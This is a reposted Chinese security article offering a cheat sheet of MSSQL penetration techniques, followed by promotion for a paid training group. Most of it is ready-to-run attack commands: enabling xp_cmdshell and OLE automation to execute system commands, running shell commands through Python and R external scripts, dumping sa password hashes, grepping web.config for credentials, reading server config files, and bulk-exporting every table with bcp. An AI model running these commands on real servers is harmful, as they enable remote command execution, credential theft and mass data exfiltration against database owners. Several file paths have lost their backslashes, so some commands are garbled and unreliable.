MSSQL渗透tips总结

admin 2023年5月25日02:09:43评论39 views字数 5339阅读17分47秒阅读模式

点击上方[蓝字],关注我们

建议大家把公众号“Z2O安全攻防”设为星标,否则可能就看不到啦!因为公众号现在只对常读和星标的公众号才能展示大图推送。操作方法:点击右上角的【...】,然后点击【设为星标】即可。

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。

文章正文

  • • Mssql查找开放端口

for /f "tokens=2" %i in ('tasklist /FI "SERVICES eq MSSQLSERVER" /NH') do netstat -ano | findstr %i | findstr LISTENING
  • • Mssql开启xp_cmdshell

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  • • Mssql关闭xp_cmdshell

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
  • • Mssql xp_cmdshell执行命令

EXEC master..xp_cmdshell "whoami /user";
  • • Mssql开启SP_OACreate

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
  • • Mssql关闭SP_OACreate

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;
  • • Mssql执行命令有回显-SP_OACreate

declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
exec sp_oamethod @luan,'exec',@exec output,'C:\windows\system32\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;
declare @test int,@exec int,@text int,@str varchar(8000);exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@test output;exec sp_oamethod @test,'exec',@exec output,'ipconfig /all';exec sp_oamethod @exec, 'StdOut', @text out;exec sp_oamethod @text, 'readall', @str out;select @str;--+
  • • Mssql执行命令无回显-SP_OACreate

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >C:\Window\Temp\1.txt'
  • • Mssql执行命令sp_execute_external_script

  1. 1. 开启sp_execute_external_script

EXECUTE sp_configure 'external scripts enabled', 1;RECONFIGURE;
  1. 2. 利用Python语言执行系统命令

EXECUTE sp_execute_external_script
@language =N'Python',
@script=N'import subprocess;subprocess.call(["whoami"],shell=True)'
  1. 3. 利用R语言执行系统命令

EXECUTE sp_execute_external_script
@language = N'R',
@script = N'system("whoami")'
  • • Mssql输出base64文件

exec master..xp_cmdshell '>>c:windowstempvars.txt set /p="123456" <nul'; //代替echo输出
  • • 查看c盘下web.config文件

findstr /c:"User Id=" /c:"Password=" /si web.config >> tmps.logs</nul';>
  • • 常SQL规工作组内网环境下的mssql实例

PowerShell -Command "[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()"
  • • Mssql查询sa密码

select name,password from syslogins  
  • • Mssql查询sa密码

Select master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins where name = 'sa' 
  • • 列出所有库

SELECT name FROM MASTER..SysDatabases ORDER BY Name;--+
SELECT NAME FROM MASTER.dbo.SysDatabases ORDER BY NAME;--+
  • • 列出某个库所有表

SELECT Name FROM [databasename]..SysObjects Where XType='U' ORDER BY Name;--+
  • • 列出表的字段

SELECT TABLE_CATALOG,TABLE_NAME,COLUMN_NAME,DATA_TYPE from [databasename].information_schema.columns where TABLE_NAME = 'tablename';--+
SELECT COLUMN_NAME,DATA_TYPE from [databasename].information_schema.columns where TABLE_NAME = 'tablename';--+
  • • varbinary数据类型hex编码

SELECT TOP 2 sys.fn_varbintohexstr(pass),user FROM [dbo].[admin];--+
  • • xp_dirtree列目录

exec master.dbo.xp_dirtree [c:windows],1,1;--+
exec master.dbo.xp_dirtree 'c:windows',1,1;--+
exec xp_subdirs "C:\WINDOWS\"
  • • 写表读取本地文件

CREATE TABLE temp (data varchar(2000));--+
BULK INSERT dbo.temp FROM 'C:WindowsSystem32inetsrvconfigapplicationHost.config';--+
select * from dbo.temp;--+
  • • 查询sqlserver数据库如何批量查询每个表前10条内容

database=School

DECLARE @table_name VARCHAR(MAX)
DECLARE table_cursor CURSOR FOR
    SELECT TABLE_NAME
    FROM INFORMATION_SCHEMA.TABLES
    WHERE TABLE_TYPE = 'BASE TABLE'
        AND TABLE_CATALOG = 'database=School'

OPEN table_cursor
FETCH NEXT FROM table_cursor INTO @table_name

WHILE @@FETCH_STATUS = 0
BEGIN
    DECLARE @sql_string VARCHAR(MAX)
    SET @sql_string = 'SELECT TOP 1000 * FROM School.dbo.' + @table_name

    EXECUTE(@sql_string)

    FETCH NEXT FROM table_cursor INTO @table_name
END

CLOSE table_cursor
DEALLOCATE table_cursor
  • • 查询sqlserver数据库如何批量查询每个表前10条内容,并备份为csv文件,我们可以利用bcp

database=School
==========================================================================================
-T 表示使用 Trusted Connection。当使用 -T 参数时,bcp 将使用 Windows 身份验证来连接到 SQL Server。
-S 指定要连接的 SQL Server 实例的名称。
默认实例: MSSQLSERVER

HOSTNAME=IIS85-CN
实例名=SQLEXPRESS
bcp "SELECT name FROM School.sys.tables" queryout C:backuptables.txt -c -t, -T -S IIS85-CN
bcp "SELECT name FROM School.sys.tables" queryout C:backuptables.txt -c -t, -T -S IIS85-CNSQLEXPRESS

==========================================================================================
bcp "SELECT name FROM School.sys.tables" queryout C:backuptables.txt -c -t, -S localhost -U sa -P admin

==========================================================================================
FOR /F %i IN (C:backuptables.txt) DO (
  bcp "SELECT TOP 10 * FROM School.dbo.%i" queryout C:backup%i.csv -c -t, -S localhost -U sa -P admin
)

知识星球

致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 300+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

MSSQL渗透tips总结

学习圈子


一个引导大家一起成长,系统化学习的圈子。如果看到这里的师傅是基础不够扎实/技术不够全面/入行安全不久/有充足时间的初学者...其中之一,那么欢迎加入我们的圈子。在圈子内会每周规划学习任务,提供资料、技术文档,供大家一起学习、交流,由浅入深、层层递进。(点我了解详情

MSSQL渗透tips总结


关注我们

关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

回复“资料" 获取 网络安全、渗透测试相关资料文档


点个【 在看 】,你最好看

原文始发于微信公众号(Z2O安全攻防):MSSQL渗透tips总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月25日02:09:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MSSQL渗透tips总结http://cn-sec.com/archives/1758566.html

发表评论

匿名网友 填写信息